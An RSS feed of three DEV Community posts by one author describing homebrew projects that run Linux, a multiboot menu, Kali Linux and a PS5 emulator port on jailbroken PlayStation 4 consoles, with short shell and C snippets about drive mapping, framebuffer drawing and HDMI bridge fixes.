<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: blue0x1</title>
    <description>The latest articles on DEV Community by blue0x1 (@blue0x1).</description>
    <link>https://dev.to/blue0x1</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3910404%2F7a657c6e-05c9-4057-badb-5ca64964c230.jpeg</url>
      <title>DEV Community: blue0x1</title>
      <link>https://dev.to/blue0x1</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/blue0x1"/>
    <language>en</language>
    <item>
      <title>EmuFive: running a PS5 emulator on a PS4</title>
      <dc:creator>blue0x1</dc:creator>
      <pubDate>Mon, 09 Nov 2026 10:55:37 +0000</pubDate>
      <link>https://dev.to/blue0x1/emufive-running-a-ps5-emulator-on-a-ps4-2obi</link>
      <guid>https://dev.to/blue0x1/emufive-running-a-ps5-emulator-on-a-ps4-2obi</guid>
      <description>&lt;p&gt;EmuFive is an open-source project that runs the &lt;a href="https://github.com/KytyPS5/KytyPS5" rel="noopener noreferrer"&gt;KytyPS5&lt;/a&gt; PS5 emulator on a jailbroken PlayStation 4. Version 1.0.0 is out today.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Status: experimental.&lt;/strong&gt; A PS5 homebrew app (Snes9x PS5) runs on a PS4 Pro. Whether and how fast real games run is still being tested.&lt;/p&gt;

&lt;h2&gt;
  
  
  The pieces
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Linux on the PS4:&lt;/strong&gt; &lt;a href="https://github.com/blue0x1/ps4-multiboot" rel="noopener noreferrer"&gt;PS4 Multiboot&lt;/a&gt; starts Linux from a GoldHEN payload and installs systems on the internal drive or a USB drive, all from the controller.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The GPU:&lt;/strong&gt; Mesa with PS4 patches gives the PS4's GPU Vulkan 1.3. KytyPS5 needs sparse resources, which RADV offers on this GPU with &lt;code&gt;RADV_EXPERIMENTAL=sparse&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The emulator:&lt;/strong&gt; KytyPS5 at a pinned commit with five patches, built with &lt;code&gt;-march=btver2&lt;/code&gt; for the PS4's AMD Jaguar CPU.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The system:&lt;/strong&gt; a small Debian image that boots straight into a home screen, with no desktop.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The CPU problem
&lt;/h2&gt;

&lt;p&gt;KytyPS5 doesn't emulate the PS5's CPU. It runs the game's own x86-64 code directly, which is fast, but PS5 games are built for Zen 2 and use AVX2, FMA and BMI2 throughout. The Jaguar in the PS4 has none of them.&lt;/p&gt;

&lt;p&gt;So one patch extends KytyPS5's instruction patcher. When a module loads on a CPU without those extensions, each such instruction is replaced by code with the same result:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;256-bit integer operations become two 128-bit halves.&lt;/li&gt;
&lt;li&gt;Permutes across halves use AVX moves and blends.&lt;/li&gt;
&lt;li&gt;FMA is computed in double precision.&lt;/li&gt;
&lt;li&gt;Gathers load one element at a time.&lt;/li&gt;
&lt;li&gt;BMI2 instructions run with saved registers.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;An instruction too short to jump from is replaced the first time it runs instead.&lt;/p&gt;

&lt;p&gt;A small test tool checks every replacement against the real instruction on a modern CPU.&lt;/p&gt;

&lt;h2&gt;
  
  
  The home screen
&lt;/h2&gt;

&lt;p&gt;The emulator only runs games, so EmuFive adds a home screen written in Python and pygame, made for a DualShock 4:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Games from a USB drive, the PS4's internal drive (read-only), or a PC's shared folder over SMB.&lt;/li&gt;
&lt;li&gt;The PS button pauses a game and opens a quick menu.&lt;/li&gt;
&lt;li&gt;Profiles with their own saves, trophies and play time.&lt;/li&gt;
&lt;li&gt;Screenshots, with a QR code to open them on a phone.&lt;/li&gt;
&lt;li&gt;Eight menu languages, including right-to-left Arabic.&lt;/li&gt;
&lt;li&gt;Drawing that stays smooth on big TVs: shapes are drawn at 4x and scaled down, then cached, since the Jaguar is slow.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Updates without SSH
&lt;/h2&gt;

&lt;p&gt;New versions come from GitHub releases. The PS4 checks the releases, and in Settings you press Update. A root helper then:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;downloads each newer pack in turn and checks its SHA-256;&lt;/li&gt;
&lt;li&gt;backs up the files it will replace;&lt;/li&gt;
&lt;li&gt;puts in the new files and runs the pack's script;&lt;/li&gt;
&lt;li&gt;test-starts the home screen.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If anything fails, the backup goes back and nothing changes. The last update can also be rolled back.&lt;/p&gt;

&lt;h2&gt;
  
  
  Thanks
&lt;/h2&gt;

&lt;p&gt;EmuFive stands on &lt;a href="https://github.com/KytyPS5/KytyPS5" rel="noopener noreferrer"&gt;KytyPS5&lt;/a&gt;, which is based on &lt;a href="https://github.com/InoriRus/Kyty" rel="noopener noreferrer"&gt;Kyty&lt;/a&gt; by InoriRus. Thanks also to the PS4 GPU work in Mesa, and to the PS4 Linux kernel developers.&lt;/p&gt;

&lt;p&gt;Code, install steps and the 1.0.0 image: &lt;strong&gt;&lt;a href="https://github.com/blue0x1/EmuFive" rel="noopener noreferrer"&gt;https://github.com/blue0x1/EmuFive&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>emulation</category>
      <category>linux</category>
      <category>vulkan</category>
      <category>opensource</category>
    </item>
    <item>
      <title>Building a multiboot Linux menu for the PS4, controlled from the gamepad</title>
      <dc:creator>blue0x1</dc:creator>
      <pubDate>Fri, 06 Nov 2026 21:02:17 +0000</pubDate>
      <link>https://dev.to/blue0x1/building-a-multiboot-linux-menu-for-the-ps4-controlled-from-the-gamepad-1afj</link>
      <guid>https://dev.to/blue0x1/building-a-multiboot-linux-menu-for-the-ps4-controlled-from-the-gamepad-1afj</guid>
      <description>&lt;p&gt;Linux on the PS4 is not new. Community kernels have run on it for years, and you can find ready-made distros for it. But installing one has always meant a PC, a USB stick or a partitioning step, and a fixed distro picked by whoever built the image.&lt;/p&gt;

&lt;p&gt;I wanted something simpler: copy any distro's rootfs archive to the console, start Linux, and pick it from a menu on the TV with the controller. Install, boot, add another one, all from the couch.&lt;/p&gt;

&lt;p&gt;That became &lt;strong&gt;&lt;a href="https://github.com/blue0x1/ps4-multiboot" rel="noopener noreferrer"&gt;PS4 Multiboot&lt;/a&gt;&lt;/strong&gt;. This post is about the problems I had to solve to get there.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3i8ga3jn9kscf2hx40pk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3i8ga3jn9kscf2hx40pk.png" alt="The boot menu with two installed distros and one ready to install" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  How Linux starts on a PS4
&lt;/h2&gt;

&lt;p&gt;On a jailbroken PS4, a payload (the PS4 Linux Loader) starts a Linux kernel and initramfs from the console's own drive. From that point everything is a normal Linux boot, with one difference: the initramfs is all you have. There is no installer, no desktop and no distro yet.&lt;/p&gt;

&lt;p&gt;So the whole project lives in the initramfs: a BusyBox shell script for the logic (&lt;code&gt;init&lt;/code&gt;, about 900 lines) and a few small C programs for the parts a shell can't do.&lt;/p&gt;

&lt;h2&gt;
  
  
  Problem 1: installing without repartitioning
&lt;/h2&gt;

&lt;p&gt;The PS4's internal drive is encrypted, and its user partition is formatted with UFS2, the FreeBSD file system. The loader passes the drive key to Linux, so the partition can be unlocked with &lt;code&gt;cryptsetup&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;cryptsetup &lt;span class="nt"&gt;-d&lt;/span&gt; /key/eap_hdd_key.bin &lt;span class="nt"&gt;--cipher&lt;/span&gt; aes-xts-plain64 &lt;span class="nt"&gt;-s&lt;/span&gt; 256 &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--offset&lt;/span&gt; 0 &lt;span class="nt"&gt;--skip&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$skip&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; create ps4hdd /dev/sdX27
mount &lt;span class="nt"&gt;-t&lt;/span&gt; ufs &lt;span class="nt"&gt;-o&lt;/span&gt; ro,ufstype&lt;span class="o"&gt;=&lt;/span&gt;ufs2 /dev/mapper/ps4hdd /ps4hdd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Repartitioning a game console's drive is not an option, and Linux's UFS2 write support is marked experimental. So the drive stays mounted &lt;strong&gt;read-only&lt;/strong&gt; almost all the time.&lt;/p&gt;

&lt;p&gt;Each distro lives in one big file on the PS4 partition, for example &lt;code&gt;/user/home/debian-ps4.img&lt;/code&gt;. Creating it is the only write that goes through UFS2: a short read-write remount, a file full of zeros, then back to read-only.&lt;/p&gt;

&lt;p&gt;After that, the file is never written through the file system again. A small C tool, &lt;code&gt;blockmap&lt;/code&gt;, asks the kernel where each block of the file sits on the disk (the &lt;code&gt;FIBMAP&lt;/code&gt; ioctl) and prints a device-mapper table:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;0 2097152 linear /dev/mapper/ps4hdd 8392704
2097152 1048576 linear /dev/mapper/ps4hdd 12587008
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;dmsetup create&lt;/code&gt; turns that table into a block device, &lt;code&gt;/dev/mapper/distimg&lt;/code&gt;, made of exactly the file's own blocks. It gets formatted as ext4 and mounted as the distro's root. Linux writes to the image directly, UFS2 never sees a write, and the rest of the PS4 data is untouched.&lt;/p&gt;

&lt;p&gt;The same trick works for reading: the rootfs archive is also mapped with &lt;code&gt;blockmap&lt;/code&gt;, so the PS4 partition can be unmounted completely while the install runs.&lt;/p&gt;

&lt;h2&gt;
  
  
  Problem 2: a boot menu with no desktop
&lt;/h2&gt;

&lt;p&gt;In the initramfs there is no X, no Wayland and no GUI toolkit. The menu is &lt;code&gt;fbui&lt;/code&gt;, about 1,800 lines of C that draw straight into the framebuffer (&lt;code&gt;/dev/fb0&lt;/code&gt;): rounded cards, a glow behind the selected one, progress bars, a bitmap font.&lt;/p&gt;

&lt;p&gt;Input comes from &lt;code&gt;/dev/input/event*&lt;/code&gt;. A DualShock 4 on a USB cable reports Cross and Circle with different key codes depending on the driver, so the mapping accepts both:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="n"&gt;BTN_SOUTH&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="n"&gt;KEY_ENTER&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;A_OK&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="n"&gt;BTN_EAST&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="n"&gt;KEY_ESC&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;A_BACK&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="n"&gt;BTN_THUMB&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;A_OK&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;    &lt;span class="cm"&gt;/* Cross on some drivers */&lt;/span&gt;
&lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="n"&gt;BTN_THUMB2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;A_BACK&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="cm"&gt;/* Circle */&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The D-pad arrives either as buttons or as &lt;code&gt;ABS_HAT0X&lt;/code&gt;, so both are handled too. A USB keyboard works the same way.&lt;/p&gt;

&lt;p&gt;The shell script and &lt;code&gt;fbui&lt;/code&gt; talk through exit codes: the menu exits with the index of the chosen card, and the script decides what to do with it. Each screen (menu, welcome, progress, error) is just another &lt;code&gt;fbui&lt;/code&gt; mode.&lt;/p&gt;

&lt;h2&gt;
  
  
  Problem 3: one more thing the PS4 needed
&lt;/h2&gt;

&lt;p&gt;On the PS4 Slim and Pro, the HDMI bridge chip turns its output off a few seconds after boot. Without a fix, the menu is drawn to a screen nobody can see.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ps4hdmi&lt;/code&gt; is a small C daemon that talks to the bridge through the PS4's ICC device and turns the output back on every two seconds. It runs in the initramfs, and the installer also adds it to each installed distro as a systemd service.&lt;/p&gt;

&lt;h2&gt;
  
  
  Problem 4: the name and logo, before anything is unpacked
&lt;/h2&gt;

&lt;p&gt;I wanted every distro to show up with its own name and logo, with no config file per distro. The user just drops in &lt;code&gt;debian-ps4-rootfs.tar.xz&lt;/code&gt; and the card should say Debian and show the Debian logo.&lt;/p&gt;

&lt;p&gt;The information is inside the archive: &lt;code&gt;/etc/os-release&lt;/code&gt; gives the &lt;code&gt;ID&lt;/code&gt; and sometimes a &lt;code&gt;LOGO&lt;/code&gt; icon name, and the icon itself is somewhere under &lt;code&gt;/usr/share/pixmaps&lt;/code&gt; or &lt;code&gt;/usr/share/icons&lt;/code&gt;. The problem is that it's inside a compressed tar of several hundred MB, and BusyBox &lt;code&gt;tar&lt;/code&gt; can't extract by wildcard.&lt;/p&gt;

&lt;p&gt;So &lt;code&gt;fbui&lt;/code&gt; has a &lt;code&gt;scan&lt;/code&gt; mode: a small tar stream parser (ustar, GNU long names and pax headers) that reads the archive from a pipe and keeps only the files that match a few patterns:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;xz-mt &lt;span class="nt"&gt;-dc&lt;/span&gt; &lt;span class="nt"&gt;-T0&lt;/span&gt; &amp;lt; archive.tar.xz | fbui scan /run/meta/debian &lt;span class="se"&gt;\&lt;/span&gt;
    etc/os-release usr/lib/os-release &lt;span class="s1"&gt;'usr/share/pixmaps/*'&lt;/span&gt; &lt;span class="s1"&gt;'usr/share/icons/*logo*'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It runs in the background while the menu is already on the screen. When it finds the logo, the card picks it up live. &lt;code&gt;fbui logo&lt;/code&gt; then decodes the PNG or JPEG (with the single-header &lt;a href="https://github.com/nothings/stb" rel="noopener noreferrer"&gt;stb_image&lt;/a&gt;), scales it to the card, and even tints the card's glow with the logo's main color.&lt;/p&gt;

&lt;p&gt;If a distro has no logo at all, the card shows the first letter of its name. After install, the name and logo are saved in the image, so the next boot shows them instantly.&lt;/p&gt;

&lt;h2&gt;
  
  
  Problem 5: making any rootfs bootable on a PS4
&lt;/h2&gt;

&lt;p&gt;A generic rootfs from linuxcontainers.org or a distro's own archive knows nothing about the PS4. After unpacking it, the installer adds:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;the kernel modules and extra firmware for the PS4 kernel, shipped inside the initramfs,&lt;/li&gt;
&lt;li&gt;the HDMI keep-alive service,&lt;/li&gt;
&lt;li&gt;X settings for the PS4 GPU,&lt;/li&gt;
&lt;li&gt;a hostname, a &lt;code&gt;/etc/hosts&lt;/code&gt; line and the root entry in &lt;code&gt;/etc/fstab&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;a login when the archive has none: user and password named after the distro, so &lt;code&gt;debian&lt;/code&gt; / &lt;code&gt;debian&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The script can't assume the archive's layout either. Some rootfs archives have everything inside a top-level folder, so the installer flattens it, then checks that an &lt;code&gt;init&lt;/code&gt; really exists before it calls the install a success.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I learned
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;A shell script plus small C tools goes a long way.&lt;/strong&gt; The logic stays readable, and C is used only where the shell can't do it: the framebuffer, the tar parser, &lt;code&gt;FIBMAP&lt;/code&gt;, the HDMI chip.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Testing on a console is slow, so test somewhere else first.&lt;/strong&gt; I tested most changes by running the real initramfs in a chroot inside a Docker container, with a fake framebuffer that saves each screen as a PNG. Only the last step went to the PS4.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Don't trust what an archive looks like.&lt;/strong&gt; Different compressions, a folder at the top or not, a logo or not, a user or not: every distro does it differently.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Try it
&lt;/h2&gt;

&lt;p&gt;You need a jailbroken PS4 with GoldHEN, an FTP client and a distro's rootfs archive (&lt;code&gt;.tar.xz&lt;/code&gt;, &lt;code&gt;.tar.gz&lt;/code&gt; or &lt;code&gt;.tar.bz2&lt;/code&gt;). The release files and full instructions are on GitHub:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://github.com/blue0x1/ps4-multiboot" rel="noopener noreferrer"&gt;github.com/blue0x1/ps4-multiboot&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;It's GPL-2.0, and issues and pull requests are welcome. If you get a distro running that I haven't tried, I'd like to hear which one.&lt;/p&gt;

</description>
      <category>linux</category>
      <category>opensource</category>
      <category>playstation</category>
      <category>c</category>
    </item>
    <item>
      <title>Running Kali Linux on a PS4, with an installer on the TV</title>
      <dc:creator>blue0x1</dc:creator>
      <pubDate>Fri, 06 Nov 2026 05:03:21 +0000</pubDate>
      <link>https://dev.to/blue0x1/running-kali-linux-on-a-ps4-with-an-installer-on-the-tv-4dpo</link>
      <guid>https://dev.to/blue0x1/running-kali-linux-on-a-ps4-with-an-installer-on-the-tv-4dpo</guid>
      <description>&lt;p&gt;A PlayStation 4 is an x86-64 PC in disguise: an 8-core AMD Jaguar CPU, an AMD GPU and a hard drive. So in theory, Kali Linux should run on it. In practice, nothing about it is a normal PC, and stock Linux will not even get you a picture on the TV.&lt;/p&gt;

&lt;p&gt;I built &lt;strong&gt;Kali Linux for PS4&lt;/strong&gt;: Kali rolling with the XFCE desktop, installed from a graphical installer that runs on the TV. You copy five files to a jailbroken PS4 over FTP, run a payload and press X on the controller. As far as I could find, it is the first public Kali Linux release for the PS4.&lt;/p&gt;

&lt;p&gt;Source code: &lt;a href="https://github.com/blue0x1/kali-ps4" rel="noopener noreferrer"&gt;github.com/blue0x1/kali-ps4&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnefgzmvznkwp6tdwbtr7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnefgzmvznkwp6tdwbtr7.png" alt="The installer on the TV" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here are the problems I had to solve along the way.&lt;/p&gt;

&lt;h2&gt;
  
  
  Problem 1: Kali's userland is easy, the kernel is not
&lt;/h2&gt;

&lt;p&gt;Kali's normal &lt;code&gt;amd64&lt;/code&gt; packages run on the Jaguar CPU without any emulation. The hard part is the kernel: mainline Linux cannot drive the PS4's southbridge (Aeolia, Belize or Baikal, depending on the model) or its GPU setup.&lt;/p&gt;

&lt;p&gt;The community &lt;a href="https://github.com/sony-jaguar-devs/ps4-linux" rel="noopener noreferrer"&gt;ps4-linux&lt;/a&gt; kernel tree solves that. My build system clones it, applies my own patches, builds it in Docker together with a Kali root filesystem, and packs everything into three files: the kernel (&lt;code&gt;bzImage&lt;/code&gt;), my initramfs, and a 900 MB compressed Kali archive.&lt;/p&gt;

&lt;p&gt;Linux is started by a community payload, the PS4 Linux Loader, which you run from GoldHEN. One detail cost me a lot of time: the loader extracts the console's own GPU firmware and the TV's EDID into an initramfs archive that is loaded &lt;em&gt;before&lt;/em&gt; mine. When I shipped my own copy of the GPU firmware, it silently overwrote the correct one and the GPU failed its ring tests. The fix was to ship no GPU firmware at all and let the loader's files win.&lt;/p&gt;

&lt;h2&gt;
  
  
  Problem 2: the PS4 Pro would not show a picture
&lt;/h2&gt;

&lt;p&gt;The PS4 Slim and Pro do not output HDMI directly. The GPU sends DisplayPort to a Panasonic MN864729 bridge chip, which converts it to HDMI. With the stock kernel, the link trained, the kernel logs looked perfect, and the TV said "No signal".&lt;/p&gt;

&lt;p&gt;To find out why, I wrote a small Python tool that talks to the bridge through the PS4's ICC interface (&lt;code&gt;/dev/icc&lt;/code&gt;) and reads or writes its registers live, while Linux runs. That showed the actual problem: right after setup, and again after every EDID read, the bridge switched its HDMI output enables off and turned the video mute on.&lt;/p&gt;

&lt;p&gt;The fix is a kernel patch that turns them back on after setup and after each EDID read:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cm"&gt;/* HDMI output on, video unmuted */&lt;/span&gt;
&lt;span class="n"&gt;mask&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x1e02&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x70&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x70&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="cm"&gt;/* output enables, bits 4-6 */&lt;/span&gt;
&lt;span class="n"&gt;mask&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x1e00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x01&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x01&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="cm"&gt;/* output enable, bit 0 */&lt;/span&gt;
&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x705f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;        &lt;span class="cm"&gt;/* VMUTECNT: unmute */&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The bridge still turns the output off now and then, for example when the TV renegotiates. So a small keep-alive helper checks the registers every few seconds and repairs them: a C version runs during boot, and a systemd service takes over inside Kali.&lt;/p&gt;

&lt;h2&gt;
  
  
  Problem 3: installing onto an encrypted drive Linux should not write to
&lt;/h2&gt;

&lt;p&gt;I wanted people to be able to install without a USB drive, on the PS4's internal hard drive. Two problems:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The PS4's user partition is encrypted with a key that is unique to each console. The loader hands that key to Linux, so the partition can be opened with &lt;code&gt;cryptsetup&lt;/code&gt; (AES-XTS).&lt;/li&gt;
&lt;li&gt;The partition uses the UFS2 file system, and Linux's UFS write support is experimental. Writing to it is a good way to corrupt the PS4's data.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;My solution: Kali lives inside one big file on the PS4 drive, &lt;code&gt;/user/home/kali-ps4.img&lt;/code&gt;, and Linux never writes the PS4's file system after creating it. At boot, the initramfs mounts UFS &lt;strong&gt;read-only&lt;/strong&gt;, asks the file system where the file's blocks physically are (the &lt;code&gt;FIBMAP&lt;/code&gt; ioctl), and turns that into a device-mapper table:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;nblocks&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;blk&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;ioctl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;FIBMAP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;blk&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;          &lt;span class="cm"&gt;/* file block -&amp;gt; disk block */&lt;/span&gt;
    &lt;span class="cm"&gt;/* merge contiguous runs, then print one line per extent: */&lt;/span&gt;
    &lt;span class="cm"&gt;/* "start length linear /dev/mapper/ps4hdd offset" */&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then it unmounts UFS and creates a &lt;code&gt;dm-linear&lt;/code&gt; device from that table. The result is a normal block device that contains an ext4 file system, which Kali boots from. Reads and writes go straight to the file's blocks on disk, and the PS4's own file system metadata is never touched.&lt;/p&gt;

&lt;p&gt;The only write to UFS happens once, during the first install: creating the file, filled with zeros so that every block is allocated. After that, the partition is only ever mounted read-only.&lt;/p&gt;

&lt;h2&gt;
  
  
  Problem 4: an installer with no graphics stack
&lt;/h2&gt;

&lt;p&gt;The installer runs inside the initramfs, before Kali exists: no X11, no Wayland, no GTK. So it is a small C program, &lt;code&gt;fbui&lt;/code&gt;, that draws directly to the Linux framebuffer:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Fonts are pre-rendered: a Python script renders Noto Sans glyphs into a C header, so no font library is needed at boot.&lt;/li&gt;
&lt;li&gt;It draws everything itself: anti-aliased rounded buttons with gradients and a glow, text, the Kali logo with a breathing aura, and a progress ring around the logo.&lt;/li&gt;
&lt;li&gt;The controller is read straight from &lt;code&gt;/dev/input/event*&lt;/code&gt; with evdev. The D-pad, the left stick and X work, and so does a keyboard.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Two lessons from the real hardware:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Small screen updates did not show up.&lt;/strong&gt; Updating only the countdown digits through the amdgpu framebuffer emulation often had no visible effect until a large redraw happened later. My working theory is a write cache in the PS4's memory path. The reliable fix was to send a full frame on every update. Because the screen's pixel format matches the program's own buffer, a full 1920x1080 frame is a single &lt;code&gt;write()&lt;/code&gt; and costs only a few milliseconds.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The animation must never slow the install.&lt;/strong&gt; The progress screen is drawn from a separate thread. The main thread only copies the Kali archive from the drive to &lt;code&gt;xz&lt;/code&gt; and counts bytes, which also gives an accurate progress percentage, and the drawing thread reads that counter 30 times a second.&lt;/p&gt;

